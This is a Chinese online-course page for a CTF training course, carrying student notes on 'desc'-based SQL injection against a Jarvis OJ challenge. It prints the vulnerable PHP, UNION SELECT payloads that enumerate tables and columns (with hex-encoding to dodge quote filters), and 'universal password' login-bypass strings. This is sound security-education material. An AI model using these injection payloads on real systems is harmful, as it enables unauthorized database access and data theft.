默认教学计划
1838人加入学习
(5人评价)
CTF从入门到提升

入选《爆款好课TOP榜》

价格 ¥ 499.00
音频听课 手机端支持一键听课 (试一试)
该课程属于 网络安全公益-高校篇 请加入后再学习

desc相关注入

{DESCRIBE|DESC}提供有关一个表的列信息

 

 
test` `database() limit 1 offset 1  //输出第一列 偏移量1
<?php
require("config.php");
$table = $_GET['table'] ? $_GET['table'] : "test";  //如果没传入参数,则返回test
$table = Filter($table);  //过滤
mysqli_query($mysql,"desc `secret_{$table}`") or Hacker();  //执行mysql数据库语句
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>
 ?table=test` `union select database()  //此处只输出了第一个falg{xxx}
我们想将输出进行偏移,使其输出第二个 ,构造payload:?test` `union select database() limit 1 offset 1
最后,当我们想传入字符串时,但又过滤了单引号,我们可以使用十六进制转换(0x46846)
[展开全文]

desc注入
{describe|desc} tbl_name [col_name |wild]
describe提供有关一个表的列信息。col_name可以是一个列名或是一个包含sql通配符字符 “%”和“_”的字符串。

web.jarvisoj.com:32794

查看源代码:http://web.jarvisoj.com:32794/index.php~

get $table
$ret[0]

mysqli_query($mysqli,"desc `secret_{$table}`")
$sql = "select 'flag{xxx}' from secret_{$table}";

desc secret_$table
$table=aa union select 1,2,3

反引号用于保留字符  ‘’
from secret_{$table} union select 1

desc 'from secret_{$table} union select 1'

desc 'from secret_{$table} ‘  ’union select 1'

http://web.jarvisoj.com:32794/index.php?table=test` `union select database() limit 1 offset 1

http://web.jarvisoj.com:32794/index.php?table=test` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1 offset 1

secret_flag,secret_test

http://web.jarvisoj.com:32794/index.php?table=test` `union select group_concat(column_name) from information_schema.columns where table_name=secret_flag limit 1 offset 1
(这样是不行的,需要给表名进制转换)

http://web.jarvisoj.com:32794/index.php?table=test` `union select group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1 offset 1

列名: flagUwillNeverKnow

http://web.jarvisoj.com:32794/index.php?table=test` `union select flagUwillNeverKnow from secret_flag limit 1 offset 1

万能密码:

select * from admin where username='' and password =''
admin' # '+' '+' 0
Aaa'='

 

[展开全文]

desc

{DESCRLBE|DESC}tbl_name[col_name | wild]

DESCRIBE 提供有关一个表的列信息。col_name 可以是一个列名或是一个包含SQL通配符字符“%”和“_”的字符串

[展开全文]

授课教师

课程特色

视频(60)
下载资料(15)